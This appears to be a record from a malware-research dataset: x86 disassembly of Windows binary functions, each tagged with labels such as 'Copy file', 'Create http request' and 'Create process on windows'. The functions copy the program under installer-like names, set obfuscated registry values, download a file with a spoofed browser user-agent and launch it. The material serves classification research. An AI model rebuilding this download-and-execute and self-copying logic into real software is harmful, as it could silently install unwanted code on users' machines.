joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45d00f
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
xor ebx, ebx
lea eax, [ebp - 0x20]
push eax
push 0x46d7c0
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov esi, 0x96
push esi
mov dword [ebp - 4], eax
call fcn.004346f1
push esi
mov edi, eax
push ebx
push edi
call fcn.00438870
add esp, 0x10
cmp dword [ebp - 4], ebx
je 0x45d0be
push 0x3f
lea eax, [ebp - 0x5f]
push ebx
push eax
mov byte [ebp - 0x60], bl
call fcn.00438870
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shrd eax, ecx, 0x14
shr ecx, 0x14
push ecx
push eax
lea eax, [ebp - 0x60]
push str._I64d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
dec esi
push esi
push str.Free_Space__MB_:
push edi
call fcn.00434400
mov eax, edi
add esp, 0x28
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x45d0a5
sub eax, ecx
sub esi, eax
push esi
lea eax, [ebp - 0x60]
push eax
push edi
call fcn.00434400
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x45d0c5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.00438870
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.bresume.exe
push dword [ebp + 8]
mov ebx, 0x46d6b8
lea eax, [ebp - 0x208]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 0x1c
lea eax, [ebp - 0x208]
push eax
call edi
push str.dresume.exe
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call edi
push str.tresume.exe
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call edi
push str.sresume.exe
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x45d187
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push ebx
push esi
push edi
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x410], ax
xor esi, esi
lea eax, [ebp - 0x40e]
push esi
push eax
call fcn.00438870
xor eax, eax
push edi
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push esi
push eax
call fcn.00438870
add esp, 0x18
push 0x104
lea eax, [ebp - 0x410]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
add eax, 0xef2
push str.bresume.exe
push eax
mov dword [ebp + 8], eax
mov ebx, 0x46d6b8
lea eax, [ebp - 0x208]
push ebx
push eax
call edi
add esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call esi
push str.dresume.exe
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push ebx
push eax
call edi
add esp, 0x10
push 0
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call esi
push str.tresume.exe
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push ebx
push eax
call edi
add esp, 0x10
push 0
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call esi
push str.sresume.exe
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push ebx
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x208]
push 0
push eax
lea eax, [ebp - 0x410]
push eax
call esi
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x208]
sub eax, ecx
movzx edx, word [ecx]
mov word [eax + ecx], dx
add ecx, 2
test dx, dx
jne 0x45d29e
push str.install.exe
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call esi
pop edi
test eax, eax
pop esi
setne al
pop ebx
leave
ret 4

Function at 0x45d2dd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x107]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x108], bl
call fcn.00438870
mov eax, dword [ebp + 8]
add eax, 0x9f6
push eax
lea eax, [ebp - 0x108]
push 0x46c72c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
lea eax, [ebp - 4]
push eax
mov eax, dword [0x48ab6c]
push dword [eax + 0xe20]
push dword [eax + 0xe1c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret 4
Function at 0x45d36b
Capabilities:
Create directory
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
xor ebx, ebx
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.00438870
lea eax, [ebp - 0x20c]
push eax
push dword [ebp + 0x18]
call fcn.00455f94
add esp, 0x14
test eax, eax
je 0x45d4b4
lea eax, [ebp + 0x18]
push eax
push 0x469210
push 1
push ebx
push 0x469390
mov dword [ebp + 0x18], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
cmp esi, ebx
jl 0x45d4b7
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push 0x4692e0
push eax
call dword [ecx]
mov esi, eax
cmp esi, ebx
jl 0x45d4a9
mov eax, dword [ebp + 0x18]
push dword [ebp + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp + 0x18]
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [ebp + 0x1c]
cmp dword [ebp + 0x1c], ebx
jne 0x45d412
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x18]
mov edx, dword [eax]
push ebx
push ecx
push eax
call dword [edx + 0x44]
mov esi, eax
cmp esi, ebx
jl 0x45d4a0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
cmp dword [ebp + 0x14], ebx
je 0x45d43a
push dword [ebp + 0x14]
lea eax, [ebp - 0x20c]
push eax
call esi
push edi
push ebx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push eax
call esi
lea edi, [ebp - 0x20c]
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x45d45e
mov eax, dword [ebp - 4]
mov esi, 0x46d25c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 1
lea edx, [ebp - 0x20c]
push edx
movsw word es:[edi], word [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
push ebx
mov esi, eax
lea eax, [ebp - 0x20c]
push eax
push 0x3001
push 0x2000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
pop edi
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x45d4b7
mov esi, dword [ebp + 0x1c]
mov eax, esi
pop esi
pop ebx
leave
ret 0x18
Function at 0x45d4f3
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
xor eax, eax
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x410], ax
lea eax, [ebp - 0x40e]
push eax
call fcn.00438870
xor eax, eax
push esi
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.00438870
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0x10]
call fcn.00455f94
add esp, 0x20
test eax, eax
je 0x45d5c4
cmp dword [ebp + 0xc], 0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
je 0x45d578
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push eax
call esi
xor eax, eax
movzx ecx, word [ebp + eax - 0x208]
mov word [ebp + eax - 0x410], cx
add eax, 2
test cx, cx
jne 0x45d560
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
lea edi, [ebp - 0x208]
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x45d58e
mov esi, 0x46d25c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x208]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp + 0xc], 0
pop edi
je 0x45d5c4
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
pop esi
leave
ret
Function at 0x45da86
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
mov dword [eax], ebx
mov eax, dword [ebp + 0xc]
push edi
push 0x103
mov dword [eax], ebx
lea eax, [ebp - 0x133]
push ebx
push eax
mov byte [ebp - 0x134], bl
call fcn.00438870
add esp, 0xc
push 0x104
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push 3
push ebx
push 5
push SysReAllocString
lea eax, [ebp - 0x134]
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, 0xffffffff
jne 0x45dafb
xor eax, eax
jmp 0x45dc4a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
push 0x3c
push edi
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
call edi
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call edi
cmp dword [ebp - 0x20], 0x4550
jne 0x45dc36
mov eax, dword [ebp - 0x14]
push ebx
add eax, 0x18
push ebx
push eax
push dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], ebx
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call edi
mov eax, 0x10b
cmp word [ebp - 0x10], ax
jne 0x45db79
sub dword [ebp - 8], 0xffffff80
jmp 0x45db90
mov eax, 0x20b
cmp word [ebp - 0x10], ax
jne 0x45db8d
add dword [ebp - 8], 0x90
jmp 0x45db90
mov dword [ebp - 8], ebx
cmp dword [ebp - 8], ebx
je 0x45dc36
push ebx
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call edi
xor eax, eax
mov dword [ebp - 0x30], ebx
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x45dc36
push ebx
push ebx
add eax, 0xfffffff0
push eax
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 8]
push eax
push 0x10
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0x30], ebx
jne 0x45dc36
cmp dword [ebp - 0x2c], ebx
jne 0x45dc36
cmp dword [ebp - 0x28], ebx
jne 0x45dc36
mov eax, dword [ebp - 0x24]
cmp eax, ebx
je 0x45dc36
mov edi, dword [ebp + 0xc]
push eax
mov dword [edi], eax
call fcn.004346f1
pop ecx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [edi]
push ebx
push ebx
sub eax, 0x10
push eax
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 8]
push eax
push dword [edi]
mov eax, dword [ebp + 8]
push dword [eax]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
xor eax, eax
cmp dword [ecx], ebx
pop esi
setne al
pop edi
pop ebx
leave
ret
Function at 0x45de13
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.kernel32
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x46c690
push eax
mov dword [0x48ab78], eax
call esi
push str.user32
mov dword [0x48ab7c], eax
call edi
push str.SetWindowTextW
push eax
mov dword [0x48ab80], eax
call esi
push str.GetWindowTextW
push dword [0x48ab80]
mov dword [0x48ab84], eax
call esi
mov dword [0x48ab88], eax
xor eax, eax
pop edi
pop esi
cmp dword [0x48ab7c], eax
je 0x45de89
mov byte [0x48ab6b], 1
cmp dword [0x48ab84], eax
jne 0x45de8e
mov byte [0x48ab6b], al
push 0x90
push eax
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0x94
call fcn.00438870
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
sbb al, al
inc al
mov byte [0x48ab6b], al
leave
ret

Function at 0x45ec5e
Capabilities:
Delete registry key

Disassembly:
lea ecx, [eax + 0x208]
push ecx
add eax, 0x30c
call fcn.004013ae
pop ecx
push eax
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
ret
Function at 0x45ed4e
Capabilities:
Check http status code
Create http request
Reference http user-agent string

Disassembly:
mov eax, 0x46679d
call fcn.00465f60
sub esp, 0x410
push ebx
push esi
mov esi, 0x104
push esi
call fcn.004346f1
push esi
xor ebx, ebx
push ebx
push eax
mov dword [ebp - 0x14], eax
call fcn.00438870
mov eax, dword [0x48ab6c]
add esp, 0x10
cmp byte [eax + 0xad0f], bl
je 0x45ef4e
lea esi, [eax + 0xad10]
cmp esi, ebx
je 0x45ef4e
lea edx, [esi + 1]
mov cl, byte [esi]
inc esi
cmp cl, bl
jne 0x45ed9d
sub esi, edx
je 0x45ef4e
add eax, 0xb614
cmp eax, ebx
je 0x45ef4e
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x45edbc
sub eax, edx
je 0x45ef4e
push edi
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_5.0__Windows__U__Windows_NT_5.1__en_GB__rv:1.9.0.5__Gecko_2008120122_Firefox_3.0.5
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [0x48ab6c]
push ebx
push 0x40300
push ebx
push ebx
add ecx, 0xad10
push ecx
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x3ff
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x41b]
push ebx
push eax
mov byte [ebp - 0x41c], bl
call fcn.00438870
mov esi, dword [sym.imp.WININET.dll_HttpQueryInfoA]
add esp, 0xc
push ebx
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0x13
push dword [ebp - 0x18]
mov edi, 0x400
mov dword [ebp - 0x1c], edi
call esi
lea eax, [ebp - 0x41c]
push eax
call fcn.004342f1
pop ecx
mov byte [ebp - 0x41c], bl
mov dword [ebp - 0x1c], edi
cmp eax, 0xc8
jne 0x45eebc
push ebx
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0x2f
push dword [ebp - 0x18]
call esi
test eax, eax
jne 0x45ee73
mov byte [ebp - 0x41c], bl
lea eax, [ebp - 0x41c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x45ee7c
sub eax, edx
cmp eax, ebx
je 0x45eebc
lea eax, [ebp - 0x41c]
push str.filename
push eax
call fcn.00434790
mov edi, eax
pop ecx
pop ecx
cmp edi, ebx
je 0x45eebc
add edi, 9
push 0x46d258
push edi
call fcn.00434790
pop ecx
pop ecx
cmp eax, ebx
je 0x45eeb8
mov byte [eax], bl
cmp edi, ebx
jne 0x45eed7
mov eax, dword [0x48ab6c]
add eax, 0xad10
push 0x2f
push eax
call fcn.004343d0
mov edi, eax
pop ecx
pop ecx
cmp edi, ebx
je 0x45eed7
inc edi
push dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov eax, dword [0x48ab6c]
call fcn.0045d5c7
push 0x1414
mov esi, eax
call fcn.00433f70
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
cmp eax, ebx
je 0x45ef1a
push esi
push dword [0x48ab6c]
mov esi, eax
call fcn.0045eb48
mov esi, eax
jmp 0x45ef1c
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea eax, [esi + 0xef2]
push eax
push 0x46c72c
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push edi
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
pop edi
cmp esi, ebx
je 0x45ef4e
push esi
call fcn.00433eea
pop ecx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x45f322
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x2001f
xor edi, edi
push edi
push dword [ebp + 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x45f387
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
push edi
push dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call esi
mov eax, dword [ebx]
inc eax
push eax
call fcn.004346f1
pop ecx
push ebx
mov edi, eax
push edi
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call esi
test eax, eax
je 0x45f387
test edi, edi
je 0x45f385
push edi
call fcn.00434a14
pop ecx
xor edi, edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp + 0x14], 0
je 0x45f3aa
test edi, edi
je 0x45f3b4
push dword [ebx]
push edi
push str.BlindCaffineSubstituteFamousCurtainTrickKingTinHalcyonDaysArapaho
call fcn.00465dcc
add esp, 0xc
test edi, edi
je 0x45f3b4
mov eax, dword [ebx]
mov byte [edi + eax], 0
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x45f3ba
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [ebp + 0x1c], esi
je 0x45f3d9
push dword [ebp + 0x18]
push dword [ebp + 0x10]
push str.BlindCaffineSubstituteFamousCurtainTrickKingTinHalcyonDaysArapaho
call fcn.00465dcc
add esp, 0xc
push esi
lea eax, [ebp + 0x1c]
push eax
push esi
push 0x2001f
push esi
push esi
push esi
push dword [ebp + 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x45f40f
push dword [ebp + 0x18]
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push esi
push dword [ebp + 0xc]
push dword [ebp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ecx
pop ebp
ret
Function at 0x460a68
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1430
call fcn.00438a90
mov eax, dword [ebp + 8]
push ebx
push esi
lea ecx, [eax + 0x208]
push edi
push ecx
add eax, 0x30c
call fcn.004013ae
pop ecx
xor edi, edi
push edi
mov esi, eax
push 0x46ce4c
push esi
call fcn.00460004
add esp, 0xc
push 1
push 0x46d460
push esi
mov dword [ebp - 8], eax
call fcn.00460004
add esp, 0xc
push edi
push 0x46d464
push esi
mov dword [ebp - 0xc], eax
call fcn.00460004
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0x46c724
push esi
xor eax, eax
call fcn.0045fea5
mov dword [ebp - 0x1c], eax
push 0x46d468
push esi
xor eax, eax
call fcn.0045fea5
push edi
mov ebx, 0x46d470
push ebx
push esi
mov dword [ebp + 8], eax
call fcn.00460004
add esp, 0x1c
push 1
mov edi, 0x46d47c
push edi
push esi
mov dword [ebp - 0x18], eax
call fcn.00460004
add esp, 0xc
push esi
push SysReAllocString
mov dword [ebp - 0x10], eax
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push 0
push dword [ebp - 0x18]
push ebx
push esi
call fcn.0045fee6
push 1
push dword [ebp - 0x10]
push edi
push esi
call fcn.0045fee6
mov eax, dword [0x48ab6c]
add esp, 0x20
test dword [eax + 0xad07], 2
jne 0x460b5a
push 0
push dword [ebp - 8]
push 0x46ce4c
push esi
call fcn.0045fee6
add esp, 0x10
mov eax, dword [0x48ab6c]
test dword [eax + 0xad07], 1
jne 0x460b7c
push dword [ebp - 0x1c]
push 0x46c724
push esi
call fcn.0045fe86
add esp, 0xc
mov eax, dword [0x48ab6c]
test dword [eax + 0xad07], 4
jne 0x460bb7
cmp dword [ebp + 8], 0
je 0x460bb7
push dword [ebp + 8]
push 0x46d468
push esi
call fcn.0045fe86
add esp, 0xc
push 1
push dword [ebp - 0xc]
push 0x46d460
push esi
call fcn.0045fee6
add esp, 0x10
mov edi, dword [ebp - 0x14]
test edi, edi
je 0x460bdf
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x460bc3
sub eax, edx
je 0x460bdf
push 0
push edi
push 0x46d464
push esi
call fcn.0045fee6
add esp, 0x10
push 0
call fcn.00434a8c
pop ecx
mov dword [ebp - 0x24], eax
push SysReAllocString
mov ecx, esi
lea eax, [ebp - 0x142c]
mov dword [ebp - 0x20], edx
call fcn.00456dfe
push 8
lea eax, [ebp - 0x24]
push eax
push 0xb
push 0x46c738
lea eax, [ebp - 0x142c]
call fcn.00456fd3
push esi
call fcn.00434a14
pop ecx
push dword [ebp - 8]
call fcn.00434a14
pop ecx
push dword [ebp - 0xc]
call fcn.00434a14
pop ecx
push edi
call fcn.00434a14
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x461cfc
Capabilities:
Create process on windows
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2044
call fcn.00438a90
push ebx
push edi
mov edi, dword [0x48ab6c]
lea eax, [edi + 0x2758]
mov dword [ebp - 4], eax
lea edx, [eax + 1]
xor ebx, ebx
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x461d1f
sub eax, edx
je 0x461e92
cmp dword [edi + 0x90ee], ebx
je 0x461e92
push esi
mov esi, 0x3ff
push esi
lea eax, [ebp - 0x1843]
push ebx
push eax
mov byte [ebp - 0x1844], bl
call fcn.00438870
push esi
lea eax, [ebp - 0x443]
push ebx
push eax
mov byte [ebp - 0x444], bl
call fcn.00438870
push esi
lea eax, [ebp - 0x1043]
push ebx
push eax
mov byte [ebp - 0x1044], bl
call fcn.00438870
push esi
lea eax, [ebp - 0x843]
push ebx
push eax
mov byte [ebp - 0x844], bl
call fcn.00438870
push esi
lea eax, [ebp - 0xc43]
push ebx
push eax
mov byte [ebp - 0xc44], bl
call fcn.00438870
push esi
lea eax, [ebp - 0x1443]
push ebx
push eax
mov byte [ebp - 0x1444], bl
call fcn.00438870
lea eax, [ebp - 0x1844]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x444]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x1044]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x844]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0xc44]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1444]
add esp, 0x48
mov dword [ebp - 0x28], eax
lea eax, [esi + 1]
push 0x7ff
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2043]
push ebx
push eax
mov dword [ebp - 0x44], 0x3c
mov byte [ebp - 0x2044], bl
call fcn.00438870
mov ecx, dword [ebp - 4]
push edi
push fcn.0046183f
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x103
lea eax, [ebp - 0x2044]
call fcn.0045d600
lea eax, [ebp - 0x2044]
add esp, 0x20
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x461e52
lea ecx, [ebp - 0x44]
push ecx
sub eax, esi
push ebx
push eax
lea eax, [ebp - 0x2044]
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
cmp dword [ebp - 0x38], 3
pop esi
je 0x461e7b
cmp dword [ebp - 0x38], 4
jne 0x461e92
push 1
push ebx
push ebx
lea eax, [ebp - 0x2044]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop ebx
leave
ret
Function at 0x461e96
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x48ab6c]
sub esp, 0x10c
push ebx
xor ebx, ebx
cmp byte [eax + 0xad0f], bl
je 0x461faf
lea ecx, [eax + 0xad10]
cmp ecx, ebx
je 0x461faf
push esi
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x461ec5
sub ecx, esi
je 0x461fae
lea ecx, [eax + 0xb614]
cmp ecx, ebx
je 0x461fae
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x461ee5
sub ecx, esi
je 0x461fae
add eax, 0xb718
push eax
push SysReAllocString
call fcn.0045dc4e
pop ecx
pop ecx
test al, al
jne 0x461fae
mov eax, dword [0x48ab6c]
add eax, 0xb718
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0045dc4e
pop ecx
pop ecx
test al, al
jne 0x461fae
call fcn.0045ed4e
push 0x103
mov esi, eax
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call fcn.00438870
mov eax, dword [0x48ab6c]
push eax
push fcn.0046183f
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
lea ecx, [eax + 0xb510]
push 0x104
lea eax, [ebp - 0x10c]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call fcn.0045d600
add esp, 0x20
cmp esi, ebx
je 0x461fa7
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x461f87
sub eax, edx
je 0x461fa7
push 5
push ebx
lea eax, [ebp - 0x10c]
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push esi
call fcn.00434a14
pop ecx
pop esi
pop ebx
leave
ret